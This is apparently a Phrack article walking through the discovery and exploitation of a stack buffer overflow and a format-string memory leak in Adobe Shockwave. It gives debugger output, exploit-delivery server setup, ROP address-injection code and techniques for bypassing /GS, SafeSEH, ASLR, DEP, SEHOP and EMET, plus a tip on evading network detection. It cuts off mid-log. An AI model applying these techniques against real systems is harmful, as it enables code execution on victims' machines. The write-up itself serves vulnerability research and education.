[21] fG!, Av‑monster: the monster that loves yummy OS X anti‑virus software http://reverse.put.as/2012/02/13/av‑monster‑the‑monster‑that‑loves‑yum

my‑os‑x‑anti‑virus‑software/

[22] Apple, Technical Note TN2127 https://developer.apple.com/library/mac/#technotes/tn2127/_index.html

[23] Cantrill et al, Dynamic Instrumentation of Production Systems dtrace_usenix.pdf

[24] Oracle, Solaris Dynamic Tracing Guide https://wikis.oracle.com/display/DTrace/Documentation

[25] fG!, Abusing OS X TrustedBSD framework to install r00t backdoors... http://reverse.put.as/2011/09/18/abusing‑os‑x‑trustedbsd‑framework‑to‑

install‑r00t‑backdoors/

[26] Andrew Case, Mac Memory Analysis with Volatility http://reverse.put.as/wp‑content/uploads/2011/06/sas‑summit‑mac‑memor

y‑analysis‑with‑volatility.pdf

[27] FreeBSD, FreeBSD Handbook http://www.freebsd.org/doc/en_US.ISO8859‑1/books/handbook/audit‑confi

g.html

[28] Der Flounder, OpenBSD auditing on Mac OS X http://derflounder.wordpress.com/2012/01/30/openbsm‑auditing‑on‑mac‑o

s‑x/

[29] OpenBSDM Source Code http://www.opensource.apple.com/source/OpenBSM/

[30] Apple, Kernel Programming guide https://developer.apple.com/library/mac/#documentation/Darwin/Concept

ual/KernelProgramming/vm/vm.html#//apple_ref/doc/uid/TP30000905‑CH210

‑BEHJDFCA

[31] Halvorsen, Ole Henry & Clarke, Dougles, OS X and iOS Kernel Programming, Apress, 2011, ISBN‑10: 1430235365

[32] Hoglund, Greg & Butler, Jamie, Rootkits: Subverting the Windows Kernel, Addison‑Wesley, 2005, ISBN‑10: 0321294319

[33] Luka Milkovic, Defeating Windows memory forensics, 29C3 http://events.ccc.de/congress/2012/Fahrplan/events/5301.en.html

[34] fG!, OS.X/Boubou Mach‑O infector PoC source code http://reverse.put.as/2013/03/05/os‑xboubou‑mach‑o‑infector‑poc‑sourc

e‑code/

[35] thegrugq, How the Leopard hides his spots http://reverse.put.as/wp‑content/uploads/2011/06/D1T2‑The‑Grugq‑How‑t

he‑Leopard‑Hides‑His‑Spots.pdf

‑‑[ 10 ‑ T3h l337 c0d3z

begin 644 the_flying_circus.tar.gz M'XL(`..`*5,``^R]77?;2)(@6K‑G]^RQSJFSY[[LOJ;=TRY2IBB2$BG9*M<. end

Adobe Shockwave - A case study on memory disclosure

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x08 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Art of Exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Adobe Shockwave ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ A case study on memory disclosure ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ aaron portnoy ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ deft_phrack at thunkers.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ Shockwave Overview

2.1 ‑ Deployment Notes

2.2 ‑ Supported File Formats

2.3 ‑ Creating Director Files

2.4 ‑ Relevant Shockwave Modules

2.5 ‑ The Lingo Scripting Language

3 ‑ Vulnerability Discovery

3.2 ‑ Stack‑based Buffer Overflow

3.3 ‑ Stack‑based Memory Disclosure

3.3.1 ‑ Undocumented Format Specifier

4 ‑ Exploit Delivery

4.1 ‑ Server‑side Architecture

4.1.1 ‑ web.py

4.1.2 ‑ lighttpd

4.2 ‑ The HTML

4.3 ‑ The Javascript

4.4 ‑ The Lingo

4.5 ‑ The Python

5 ‑ Vulnerability Exploitation

5.1 ‑ Windows XP SP3 / Firefox / Shockwave 11.6.5.635

5.2 ‑ Windows XP SP3 / Firefox / Shockwave 11.6.8.638

5.3 ‑ Windows 7 x64 / Firefox / Shockwave 12.0.0.112

5.4 ‑ Windows 7 x64 / Firefox / Shockwave 12.0.0.112 / EMET 5.0 5.4.1 ‑ Relevant 'EMET 5.0' Mitigations

5.5 ‑ Windows 8 x64 / Firefox / Shockwave 12.0.0.112 / EMET 5.0 5.5.1 ‑ Relevant 'EMET 5.0 Tech Preview' Mitigations

6 ‑ Future Work

7 ‑ Conclusion

8 ‑ Greets

9 ‑ References

10 ‑ Exploit

‑‑[ 1 ‑ Introduction

These days, proper exploit development on the latest and greatest operating systems is a time‑consuming task. It doesn't help matters that the availability of public resources to help individuals research techniques to achieve such ends are becoming scarce. There are many reasons why this is now the case. Mainly, techniques to bypass security mitigations have become a valuable commodity to various entities and as such are no longer released as often for public dissemination or to further one's reputation.

I was lucky enough to get started in this field when there were resources like Gera's insecure programming challenges [1], 29A [2], Uninformed [3], and of course Phrack to inspire me. I've tried to imagine what it would be like to be a newcomer in current times and it's a bit depressing that most (not all) of the material that is actually published is done so with an unhealthy bit of rodomontade and ulterior motives. Generally, the output lacks details that are most facilitating to an aspiring researcher‑‑the approaches to the problem (including the failures) that so define how a so‑called hacker really thinks.

This article is intended to give the reader insight into an approach to the vulnerability discovery and exploitation process. By no means should the take‑away from this be that mitigations are broken or easily defeated, but rather it serves as a case study demonstrating real‑world vulnerabilities and the process by which I was able to achieve successful code execution in spite of various mitigations that have hitherto not been bypassed publicly.

What follows is walk through of the discovery and exploitation of a memory disclosure vulnerability and a stack‑based buffer overflow that together can be abused to bypass stack cookies (/GS), SafeSEH (/SAFESEH), full process Address Space Layout Randomization (ASLR, /DYNAMICBASE), Data Execution Prevention (DEP), Structured Exception Handler Overwrite Protection (SEHOP), and the Enhanced Mitigation Experience Toolkit (EMET) to gain reliable code execution against a multitude of platforms, but with a focus on Windows 8 x64.

The bugs discussed herein were discovered by myself and where applicable I will try to cite dates to help the reader understand the time invested to create the end result. Hopefully there's something in here that you're able to take away and I'd like to imagine one day you'll also share something with those who come after you.

‑‑[ 2 ‑ Shockwave Overview

The vulnerabilities I'll be discussing are in Adobe's Shockwave Player [4], a closed‑source application used for viewing Adobe Director media files within a browser. The player can be installed on Windows and Mac OS operating systems and is deployed on over 450 million desktops according to Adobe [5].

Shockwave is often confused with Flash due to Flash's misleading MIME type of 'application/x‑shockwave‑flash'. This is not the case, however, and the technologies are entirely independent of each other (for the record, Shockwave's MIME type is 'application/x‑director').

‑‑‑‑[ 2.1 ‑ Deployment Notes

The Shockwave Player is invoked differently depending on which browser/OS you're running. For example, in the case of Internet Explorer the Shockwave ActiveX control is instantiated and the Adobe modules are loaded into the iexplore.exe process space. However, in the case of Firefox, plugins are loaded via NPAPI [6] and occupy a new child process called plugin‑container.exe.

By default, if a user visits the Shockwave installer site, they are served up the "slim" version of the installer. The difference between the slim and the full is that the slim does not contain all the functionality for various media types (instead they are downloaded when the Player tries to render a media file with such content).

It should also be noted that the code is distributed as a 32‑bit build, even if deployed on a 64‑bit operating system.

‑‑‑‑[ 2.2 ‑ Supported File Formats

Shockwave is used to render Adobe Director files. These come in three forms:

‑ .dir is an uncompressed Director file

‑ .dcr is Director file compressed in various locations using zlib ‑ .dxr is a non‑editable Director file

Each of these are undocumented but are based off of the RIFF file format (except that their data is stored in big endian as denoted by the file magic value of 'RIFX').

For example, a partial hex dump of a .dir file:

Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

00000000 58 46 49 52 78 62 05 00 33 39 56 4D 70 61 6D 69 XFIRxb..39VMpami 00000010 18 00 00 00 01 00 00 00 26 8B 00 00 82 07 00 00 ........&`..`... 00000020 00 00 00 00 00 00 00 00 00 00 00 00 2A 59 45 4B ............*YEK 00000030 74 01 00 00 0C 00 0C 00 1E 00 00 00 17 00 00 00 t............... 00000040 3E 00 00 00 04 00 00 00 6D 75 68 54 0D 00 00 00 >.......muhT.... 00000050 04 00 00 00 44 45 4D 58 2B 00 00 00 4B 00 00 00 ....DEMX+...K... 00000060 6D 75 68 54 6D 00 00 00 4B 00 00 00 44 45 4D 58 muhTm...K...DEMX ...

The .DCR format is useful for bypassing network detection, as no device/software I am aware of currently knows how to decompress this proprietary format.

‑‑‑‑[ 2.3 ‑ Creating Director Files

Director files are created in, appropriately, Adobe Director [7]. The interface is very similar to Flash Studio in that there are frames, a movie object, a stage, cast members, sprites, and script objects.

One quirk worth mentioning is that by default, when 'playing' a file within Director it uses an older version of the Shockwave libraries (not the ones in the player's default directory). I'm guessing that this might not be the case if you're using the latest Director (version 12), but as I was using warez, well, ... you get it. This can impact your exploit development so ensure you test outside Director as well (or overwrite the appropriate modules with newer versions).

‑‑‑‑[ 2.4 ‑ Relevant Shockwave Modules

There are two main modules that Shockwave uses to handle parsing and rendering of DIR files: DIRAPI.dll and IML32.dll. I did a bit of research on these back in 2011 [8]. Shockwave uses a custom memory manager called Smartheap [9], but that isn't really of much interest with regard to the vulnerabilities described in this article.

In addition to those two modules, there are also a number of "Xtras". These files have .x32 extensions but are simply DLL files. They provide added functionality for things like embedded media (Quicktime, Flash, 3D objects, fonts, audio, and so on).

‑‑‑‑[ 2.5 ‑ The Lingo Scripting Language

Shockwave files have support for a built‑in scripting language called Lingo which was created in the 1990s and, according to the inventor John Thompson, was his "...most significant contribution to the computer industry to date" [10].

Lingo enables a Director developer to interact with multimedia elements and the user. Its intended functionality is very similar to its Adobe Flash counterpart, Actionscript. Its syntax, however, is a bit different. There is an API reference available on Adobe's site [11] that covers mostly everything you'd need to know about it.

We'll soon see that Lingo can provide an attacker with a wealth of information to aid in the exploitation process.

‑‑[ 3 ‑ Vulnerability Discovery

I had previously spent a good amount of time bug hunting in Shockwave for a presentation at CanSecWest and had unearthed a few file format vulnerabilities. The problem with those, however, is that anybody with the ability to bit‑flip a file can also stumble upon them trivially. So, this time around I decided to see what I could find in Lingo.

One of the most tedious aspects of bug hunting is figuring out the best way to generate input to properly cover as much of the attack surface as possible. My first attempt at this was to don my hipster jeans and learn to develop Director movies legitimately. I tried to embed as much content as possible and ensured in a debugger that the appropriate Xtras were being loaded into the process. The hardest part was learning how to properly access the objects via Lingo and interact with them in the hopes of causing a fault.

After exhausting as many Lingo methods as I could manage to invoke (it's a long list, check out: http://help.adobe.com/en_US/Director/11.5/UsingScripting

/WSc3ff6d0ea77859461172e0811d64c1a1b3‑7ff4.html) I sat back and considered what to do next.

Following reflection upon my prior attempts, I realized that the one subset of the available Lingo methods that I was unable to invoke were related to the 3D API. As it turns out, I was unable to call Lingo's 3D methods because I could not embed a proper 3D object and initialize the environment as was required.

I decided the best approach was to find an existing Director file that already had 3D objects and associated Lingo code in it. After searching a while I found that Director itself comes with some tutorial files that fit the need. In the

%ProgramFiles%\Adobe\Adobe Director 11\Configuration\Tutorials\3D

folder are the .dir files I was hoping to find. Once they were loaded into Director I found the Lingo scripts I could simply modify to invoke the methods I had previously overlooked.

‑‑‑‑[ 3.2 ‑ Stack‑based Buffer Overflow

The first vulnerability I discovered was a stack‑based buffer overflow that could be reached via two different Lingo methods (they hit the same vulnerable code, so I consider them the same bug). The vulnerable methods were:

‑ physicsWorld.loadProxyTemplate(string proxyname, 3dmember) ‑ world.createRigidBody(string rigidbodyname, string 3Dmodelname, symbolBodyProxy, symbol bodyType, symbol flipNormals)

When provided with a large enough string as the first parameter to either of these a buffer on the stack can be overflowed.

In order to craft a large string in Lingo, you can use their equivalent of a for loop:

buf = ""

repeat with i = 0 to 10000

buf = buf & "$"

end repeat

Depending on how much data is provided, the fault that the debugger catches may differ. Here's one such crash:

(63c.410): Access violation ‑ code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.

eax=37734236 ebx=02f6bd10 ecx=00000000 edx=03790404 esi=000033a7 edi=02f6c248

eip=6fde9d0a esp=02f6b7ec ebp=02f6b7ec iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 IML32!Ordinal1115+0xa:

6fde9d0a 81780454534146 cmp dword ptr [eax+4],46415354h ds:002b:3773423a

OK, from the faulting instruction alone there is not much to deduce. The call stack tells us a bit more:

0:005> kv

ChildEBP RetAddr Args to Child

02f6b7ec 6f2277b8 37734236 02f6b810 6f2283b1 IML32!Ordinal1115+0xa 02f6b7f8 6f2283b1 02f6c248 06cf7024 00000000 DIRAPI+0x377b8 02f6b810 6f23a8ea 06cf7024 000033a7 02f6bd10 DIRAPI+0x383b1 02f6b82c 6f35ec15 06cf7024 02f6c248 02f6bd10 DIRAPI+0x4a8ea 02f6b848 6e73250b 06ced4bc 02f6c248 02f6bd10 DIRAPI+0x16ec15 02f6c114 42346942 69423569 37694236 42386942 Dynamiks+0x335e 02f6c118 69423569 37694236 42386942 6a423969 0x42346942 02f6c11c 37694236 42386942 6a423969 316a4230 0x69423569 02f6c120 42386942 6a423969 316a4230 42326a42 0x37694236 02f6c124 6a423969 316a4230 42326a42 6a42336a 0x42386942 02f6c128 316a4230 42326a42 6a42336a 356a4234 0x6a423969 02f6c12c 42326a42 6a42336a 356a4234 42366a42 0x316a4230

<snip>

The first thing that jumps out here is that there are what appear to be 5 fully intact frames before the stack is smashed. That tells us that the destination buffer likely originates in the Dynamiks module.

We can also see that there are two stack pointers passed as arguments from Dynamiks. Inspecting these we can see which was the destination buffer (we could also deduce this from the frame pointers we see in the call stack... i.e. it's unlikely to be 0x02f6c248 because the corruption began lower on the stack):

0:005> dc 02f6c248 L8

02f6c248 73423573 37734236 42387342 74423973 s5Bs6Bs7Bs8Bs9Bt 02f6c258 31744230 42327442 74423374 35744234 0Bt1Bt2Bt3Bt4Bt5 0:005> dc 02f6bd10 L8

02f6bd10 41306141 61413161 33614132 41346141 Aa0Aa1Aa2Aa3Aa4A <‑ beginning 02f6bd20 61413561 37614136 41386141 62413961 a5Aa6Aa7Aa8Aa9Ab of our buf

So, the stack buffer begins at 0x02f6bd10 and was passed from the Dynamiks module into DIRAPI as argument 3. This can be seen by disassembling the Dynamiks module and checking out the code before offset 0x335e:

(Dynamiks.x32: md5sum c6a9a75deb3da27682c267a7a2507e16, checksum 2a30eb, Shockwave version 12.0.0.112)

0:005> ub Dynamiks+0x335e L6

Dynamiks+0x334f:

709e334f 8d8dfcfbffff lea ecx,[ebp‑404h] <‑ vulnerable buffer 709e3355 51 push ecx <‑‑‑‑‑‑‑‑‑‑‑‑ passed as third argument 709e3356 8d4f08 lea ecx,[edi+8]

709e3359 51 push ecx

709e335a 50 push eax

709e335b ff5244 call dword ptr [edx+44h]

In a real disassembler (IDA Pro) we can see how large that local variable is by checking out the function's stack:

‑00000404 var_404 db 1024 dup(?) <‑‑‑ vuln buffer, 1024 bytes ‑00000004 var_4 dd ?

+00000000 s db 4 dup(?)

+00000004 r db 4 dup(?)

+00000008 arg_0 dd ?

+0000000C arg_4 dd ?

+00000010 arg_8 dd ?

+00000014 arg_C dd ?

+00000018 arg_10 dd ?

Any string over 1024 bytes in size will corrupt var_4. Any guess as to what var_4 is? Yep... say hello to the /GS mitigation:

(Dynamiks.x32: base address 0x10000000)

.text:100018A8 mov eax, ___security_cookie .text:100018AD xor eax, ebp

.text:100018AF mov [ebp+var_4], eax

For those of you not familiar with /GS [12] it is a compiler option that is on by default in any recent version of Visual Studio. It works by ... well, skape said it much better than I in his Uninformed [13] article when describing stack cookie initialization:

"At a high‑level, this routine will take an XOR'd combination of the current system time, process identifier, thread identifier, tick count, and performance counter. The end result of XOR'ing these values together is what ends up being the image file's security cookie."

The result of those operations is a 4‑byte value that gets generated when the module is loaded and then stored in its .data section. Any function the compiler deems in need of some extra protection takes that value and XORs it again with the current frame pointer (@ebp). It then stores it on the stack as the first local variable. Upon function exit, the process checks if it has been tampered with and, if so, throws an exception which usually results in process termination.

Had we not caused an exception in IML32.dll the code would still return back to the Dynamiks module and upon function exit (provided it doesn't access any other invalid data long the way), the stack cookie check would fail and the process would throw an exception and probably exit. Either way, this is an obstacle we'll need to bypass.

We'll get back to this in a bit.

‑‑‑‑[ 3.3 ‑ Stack‑based Memory Disclosure

In the course of testing the 3D Lingo methods, I was using a string consisting of a large amount of the "%x" characters. I was lucky enough to also be outputting objects to the Messages window via Lingo's trace() function. In a few cases I saw some very interesting output, such as the following:

model("d03e682631e7c647ae08432631e18680fb8a9d03e6830680276b012d450d03e686 9080b8e56b7420100c17eb9069056cd56908db3811038")

That was certainly not the name I gave that object when I called newModel()...

Separating those %x values by spaces yielded:

model("d03e68 6317e44 5ffad60 43 6317dcc 680fb8a9 d03e68 42 680276b0 12d450 d03e68 69080b00 5711164 100c 17eb90 69056cd5 6908db38 1 1038")

At this point I was testing all of this on Windows XP and thus there was no Address Space Layout Randomization to worry about. With that in mind, I'll tell you that DIRAPI.dll has a preferred base address of 0x68000000 and IML32.dll of 0x69000000. Looking at the output from the trace() call we can clearly see that we're dealing with a format string vulnerability and for each %x we provide, we're returned a 32 bit value off the stack.

As the code path to reach this vulnerability is deterministic, it can be verified that the code pointers will always be the same on a non‑ASLR'd system. Thus, we can disclose the base addresses of at least two modules as well as what look to be heap and stack pointers. We can verify the addresses in a debugger:

0:008> !address 0xd03e68

00c60000 : 00c60000 ‑ 00101000

Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000

0:008> !heap ‑p ‑a 0xd03e68

address 00d03e68 found in

_HEAP @ 150000

HEAP_ENTRY Size Prev Flags UserPtr UserSize ‑ state 00c60018 20000 0000 [0b] 00c60020 100000 ‑ (busy VirtualAlloc) ? <Unloaded_ame.dll>+ffff7

0:008> !address 6317e44

06010000 : 06314000 ‑ 0005b000

Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000

0:008> !address 5ffad60

05f00000 : 05f00000 ‑ 00101000

Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000

0:008> !address 12d450

00030000 : 0011e000 ‑ 00012000

Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageStack Pid.Tid d1c.89c

0:008> !address 69080b00

69000000 : 69001000 ‑ 0008c000

Type 01000000 MEM_IMAGE Protect 00000020 PAGE_EXECUTE_READ State 00001000 MEM_COMMIT Usage RegionUsageImage FullPath <snip>IML32.dll

0:008> ub 69056cd5 L1

IML32!Ordinal1754+0x12b3:

69056cd3 ffd5 call ebp

One thing worth pointing out there is that the heap pointers originate from an allocation of size 0x100000. This is due to the Smartheap slicing out allocations from its own arena of that size.

Anyway, the take‑away here is that I was able to leak an address from the stack, two from the heap, and one from a module (IML32.dll).

‑‑‑‑‑‑[ 3.3.1 ‑ Undocumented Format Specifier

During my initial attempt at exploitation of these issues, I was having trouble locating a reliable stack pivot within the one module I was able to leak an address from (IML32.dll). After struggling with that problem for about one week, I went back and began reverse engineering the root cause of the memory disclosure and came across some undocumented functionality in Lingo.

When provided with a "%v" format specifier, the code within DIRAPI.dll replaces it with <%d %p>:

(DIRAPI.dll: base address 0x68000000,

md5sum fb5405cef8b2d6273c593477392cbc88, checksum 1c266b, Shockwave version 12.0.0.112)

.text:68039FF2 case__v:

.text:68039FF2

.text:68039FF2 add edi, 4 ; jumptable 68039EC7 case 35 .text:68039FF5 mov [ebp+var_814], edi

.text:68039FFB mov edi, [edi]

.text:68039FFD lea esi, [ebp+var_810]

.text:6803A003 mov byte ptr [ebp+var_404], 0 .text:6803A00A call sub_68039CA0

.text:6803A00F test eax, eax

.text:6803A011 jz loc_6803A0EA

.text:6803A017 mov eax, [ebp+arg_8]

.text:6803A01A mov ecx, [ebp+var_824]

.text:6803A020 mov edx, [ebp+var_828]

.text:6803A026 push eax

.text:6803A027 push ecx

.text:6803A028 push edi

.text:6803A029 push edx

.text:6803A02A call sub_68030DB0 ; replaces %v with <%d %p> and

.text:6803A02A re‑enters this func

By placing %v characters at specific locations in the input string I was able to force a dereference of one of the stack values and retrieve two 32‑bit integers from there, which yielded me an additional address within a module. Specifically, I was able to leak an address within the "Shockwave 3d Asset.x32" module which, it turned out, had a quite useful code primitive I abused for a stack pivot.

‑‑[ 4 ‑ Exploit Delivery

The exploits discussed herein were progressively developed, with differing approaches as obstacles were encountered. I've included explanations of all of them to allow the reader to gain some insight into the process rather than just delivering an explanation of what came to be the best solution. In fact, the attached exploit code has not been "cleaned up", instead it contains all the artifacts of a work‑in‑progress leading up to the final solution.

‑‑‑‑[ 4.1 ‑ Server‑side Architecture

As some of the exploits have different required architecture, I will cover all the components I utilized throughout the exploitation process.

‑‑‑‑‑‑[ 4.1.1 ‑ web.py

I used web.py[14] to serve the following:

* HTML pages that embedded the .dir files

* Director files

* A payload in one of the exploits

The included exploit has the following directory structure:

./

| craft_exploit.py

| main.py

|

|‑‑‑web

| (web.py library code)

|

'‑‑‑www

|‑‑‑dirs

| input.dir

| mem_disc.dir

| output.dir

|

|‑‑‑html

| exploit.html

| index.html

|

'‑‑‑payload

runcalc.dll

It is also worth noting that I also added code to handle serving gzip‑encoded data to my main.py as I encountered some unreliability with regard to web.py and its serving of large files.

‑‑‑‑‑‑[ 4.1.2 ‑ lighttpd

During one stage of the exploit development process, the code required a WebDAV server to host a payload. For that, I used lighttpd[15] with the following configuration:

server.document‑root = "/htdocs"

server.port = 80

server.username = "nobody"

server.groupname = "nogroup"

mimetype.assign = (".html" => "text/html", ".application" => "application/x‑ms‑application")

server.modules = ( "mod_webdav",

"mod_alias",

"mod_accesslog")

server.errorlog = "/logs/error.log" accesslog.filename = "/logs/access.log"

webdav.activate = "enable" webdav.sqlite‑db‑name = "/lock/lighttpd.webdav_lock.db"

‑‑‑‑[ 4.2 ‑ The HTML

The HTML is pretty basic and consists of an index.html that embeds the .dir file responsible for memory disclosure and an iframe that is dynamically populated with the exploit.html page, which in turn embeds the crafted .dir exploit for that particular client, on demand.

The iframe was required as it was noted that if one was not used, modules in memory were loaded and unloaded at potentially different addresses if the browser navigated away from one page, thus rendering the memory disclosure unreliable.

‑‑‑‑[ 4.3 ‑ The Javascript

The index.html page contains the javascript functions responsible for the following:

* Receiving disclosed memory contents provided by the mem_disc.dir file * Receiving and parsing version, platform, and user agent information * POST‑ing to itself in order to get such data back to main.py

‑‑‑‑[ 4.4 ‑ The Lingo

There are a couple of Lingo functions and properties that are exceptionally friendly for the exploit developer. The following are used to determine how to craft the malicious .dir file for a given client and then transport that information to the server:

* goToNetPage ‑ function used to call javascript from the .dir * environmentPropList ‑ property used to obtain platform, operating system information, and shockwave build version

‑‑‑‑[ 4.5 ‑ The Python

The craft_exploit.py handles construction of a custom .dir file per client request. It receives leaked memory addresses, browser user agent, shockwave version, and platform information from the aforementioned POST request.

The CraftExploit class defined within contains two class variables of note. The self.int_mods list is populated with tuples containing the file offset within the template .dir file and the value to inject. For example, the first stack pivot used corresponds to offset 0x55AFC in the file. The relevant code that replaces that value in the template .dir file looks like this:

self.int_mods.append((0x55AFC, self.sw_3d+0x13e522))

The above will cause the resulting .dir file at offset 0x55AFC to contain a pointer to the "Shockwave 3d Asset.x32" at offset 0x13e522.

The other notable class variable is self.str_mods which does much the same thing, except that it is implemented as a dictionary. For example, in order to ensure that a string value will exist at a given offset in the resulting .dir file, one can utilize str_mods as so:

self.str_mods[0x536D0] = 'urlmon.dll\x00'

The contents of str_mods and int_mods are injected into the file using CraftExploit's render method and then served to the target client via the web server.

‑‑[ 5 ‑ Vulnerability Exploitation

The following sections will walk the reader through my exploit development process against various configurations, bypassing mitigations as encountered.

‑‑‑‑[ 5.1 ‑ Windows XP SP3/Firefox/Shockwave 11.6.5.635

This was the first exploit I wrote for this issue, and as I was developing it on Windows XP SP3 I did not need to worry about ASLR (or even use the memory disclosure vulnerability). This was written the day the bug was discovered with the intent of exploiting the issue quickly, not reliably.

As the vulnerable code is protected by /GS, I opted to overwrite one of the saved exception handlers on the stack. The executable was also compiled with SafeSEH, for which bypasses has been covered extensively by others. In short, I pointed the corrupted handler to an address inside a module that did not make available the addresses of its exception handling functions (for WinDBG users, I recommend checking out the narly[16] plugin that helps determine which addresses are available for such a bypass). Thus, the exception dispatcher was unable to determine if my corrupted pointer was legitimate and would proceed to call it.

I then gained stack control and, after some ROP‑ing, VirtualProtectEx'd the stack and returned to it, executing a payload that simply ran WinExec("calc.exe").

I relied on several things that make this exploit... dirty:

* The modules I used to ROP with were getting their preferred base addresses, and thus I could easily ignore ASLR.

* I used a system library, shell32.dll, for some primitives. This module is updated by Microsoft often and is not something to rely on.

So, to summarize, this exploit bypasses /GS, SafeSEH, DEP, and ignores ASLR (but is more of a PoC than a proper exploit‑‑and well, it's XP).

‑‑‑‑[ 5.2 ‑ Windows XP SP3/Firefox/Shockwave 11.6.8.638

About a day after I wrote the exploit for version 11.6.5.635 Adobe released 11.6.8.638. For completeness' sake, I added support to my exploit for what was the latest version, using identical primitives, differing just in location. See the attached exploit for details.

‑‑‑‑[ 5.3 ‑ Windows 7 x64/Firefox/Shockwave 12.0.0.112

When Adobe released version 12.0.0.112, I decided to utilize the memory disclosure bug and exploit the vulnerabilities on a more modern operating system, Windows 7.

This time, I used the stack memory disclosure to remove any reliance on indeterminable memory addresses, thus bypassing ASLR. Unlike the prior exploits, this version simply ROPs to a LoadLibraryA call and requests DLL over a UNC path. I created a simple DLL that just calls WinExec("calc.exe") upon load. Then, using lighttpd as described in 4.1.2, the file is served.

‑‑‑‑[ 5.4 ‑ Windows 7 x64/Firefox/Shockwave 12.0.0.112/EMET 5.0

The above exploit against Windows 7 x64 uses LoadLibraryA to load a malicious payload off of a UNC share. EMET removes the ability to do this, but it is easy enough to bypass, as detailed in the following section.

‑‑‑‑‑‑[ 5.5.1 ‑ Relevant 'EMET 5.0' Mitigations

The exploit for the same target with EMET 5.0 enabled simply calls MoveFileA first to move the file from the remote WebDAV to the local filesystem and then calls LoadLibraryA on the local file.

Protip: chattr +i the DLL file on the server so that the MoveFileA will move it but won't be able to delete it afterwards, enabling subsequent exploit attempts to work without a problem. You could also do this within the lighttpd config.

Also, EMET implements a mitigation they call Export Address Table Filtering[17] which monitors for read accesses to the exported function addresses in key system DLL modules. However, the attached exploit retrieves the addresses of functions by snagging a pointer via the Shockwave modules' import section (which are not monitored by EMET), rather than from the system DLL files themselves.

‑‑‑‑[ 5.5 ‑ Windows 8 x64/Firefox/Shockwave 12.0.0.112/EMET 5.0

Windows 8 introduces a number of exploit mitigations, thoroughly summarized by Matt Miller and Ken Johnson during their Blackhat talk in 2012 [18]. The most obtrusive mitigation that had to be overcome was SEHOP. SEHOP is another mitigation intended to deter exploitation of SEH‑based corruption. As Microsoft describes [19]:

"The first step involves the insertion of a symbolic exception registration record as the tail record in a thread's exception handler list. This step occurs when a thread first begins executing in user mode. Since exception registration records are always inserted at the head of the exception handler list, the symbolic record is guaranteed to be the final exception registration record.

The second step consists of walking the exception handler list at the time that an exception is being dispatched to ensure that the symbolic record can be reached and that it is valid. This step happens when the exception dispatcher is notified that an exception has occurred in user mode. If the symbolic record cannot be reached, the exception dispatcher can assume that the exception handler list is corrupt and that an SEH overwrite may have occurred. The exception dispatcher is then able to safely terminate the process. If the symbolic record is found, the exception dispatcher is able to proceed as it normally would and call each of the registered exception handlers."

In order to bypass this mitigation, you pretty much need a memory disclosure. Luckily for me, the leaking of a stack address makes this possible.

To demonstrate how such a mitigation is bypassed, the following will walk through inspecting the exception chain before and after the exploit corrupts it.

Firstly, once attached to the Firefox process, we can tell WinDBG to follow child processes with the '.childdbg 1' command. Next we point Firefox to the malicious server which will cause the Shockwave player to be invoked, thus launching the plugin‑container.exe process from Firefox:

0:029> .childdbg 1

Processes created by the current process will be debugged 0:029> g

ModLoad: 70b30000 70b63000 C:\Windows\SysWOW64\shdocvw.dll <snip>

ModLoad: 09c70000 09c76000 plugin‑container.exe

Executable search path is:

ModLoad: 00fa0000 00fa6000 plugin‑container.exe

ModLoad: 772f0000 77447000 ntdll.dll

ModLoad: 76620000 76750000 C:\Windows\SysWOW64\KERNEL32.DLL ModLoad: 74f10000 74fb6000 C:\Windows\SysWOW64\KERNELBASE.dll <snip>

ModLoad: 74980000 74989000 C:\Windows\SysWOW64\CRYPTBASE.dll ModLoad: 74920000 74971000 C:\Windows\SysWOW64\bcryptPrimitives.dll (834.950): Break instruction exception ‑ code 80000003 (first chance) eax=00000000 ebx=00000003 ecx=a1500000 edx=00000000 esi=00000000 edi=007e0000

